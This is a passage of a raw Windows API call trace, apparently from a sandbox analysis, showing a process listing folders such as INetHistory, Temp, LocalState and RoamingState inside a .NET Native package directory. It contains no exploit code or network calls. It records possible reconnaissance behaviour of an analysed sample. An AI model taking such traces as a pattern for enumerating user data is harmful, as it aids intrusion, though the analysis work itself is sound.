lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetHistory", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetHistory", lpFilePart=0x0) returned 0x6c [0214.546] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\INetHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\inethistory\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.554] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.554] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.555] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.555] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp", lpFilePart=0x0) returned 0x65 [0214.555] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\temp\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.556] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.556] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.556] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0214.557] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp", lpFilePart=0x0) returned 0x65 [0214.557] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\temp\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.557] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.557] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ccdf89, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ccdf89, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5ccdf89, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.557] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0214.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0214.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.558] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData", lpFilePart=0x0) returned 0x65 [0214.558] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\appdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.558] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.558] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.559] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.559] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData", lpFilePart=0x0) returned 0x65 [0214.559] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\appdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.559] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.560] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.560] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.560] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache", lpFilePart=0x0) returned 0x68 [0214.560] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.560] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.561] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.561] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.561] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache", lpFilePart=0x0) returned 0x68 [0214.561] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.562] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.562] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.562] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.562] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState", lpFilePart=0x0) returned 0x68 [0214.562] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.563] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.563] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.563] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.563] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState", lpFilePart=0x0) returned 0x68 [0214.563] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.564] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.564] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.564] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.564] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState", lpFilePart=0x0) returned 0x6a [0214.565] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\roamingstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.565] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.565] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: 